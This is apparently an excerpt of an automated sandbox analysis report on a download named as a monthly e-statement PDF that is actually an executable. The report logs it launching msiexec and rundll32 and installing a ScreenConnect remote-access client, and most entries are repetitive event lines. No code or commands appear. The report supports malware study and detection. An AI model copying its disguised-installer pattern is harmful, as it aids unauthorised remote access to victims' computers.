                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: F20000 memory reserve | memory write watchJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: 3120000 memory reserve | memory write watchJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: 5120000 memory reserve | memory write watchJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: 6950000 memory reserve | memory write watchJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: 6070000 memory reserve | memory write watchJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: 7950000 memory reserve | memory write watchJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: 8950000 memory reserve | memory write watchJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: 8BE0000 memory reserve | memory write watchJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: 7950000 memory reserve | memory write watchJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: 8BE0000 memory reserve | memory write watchJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeMemory allocated: 1FF0000 memory reserve | memory write watchJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeMemory allocated: 2280000 memory reserve | memory write watchJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeMemory allocated: 1FF0000 memory reserve | memory write watchJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeMemory allocated: C60000 memory reserve | memory write watchJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeMemory allocated: 1A600000 memory reserve | memory write watchJump to behavior
                                Source: C:\Windows\System32\svchost.exeFile opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04A53684 sldt word ptr [eax]19_2_04A53684
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeThread delayed: delay time: 922337203685477Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsAuthenticationPackage.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Core.dllJump to dropped file
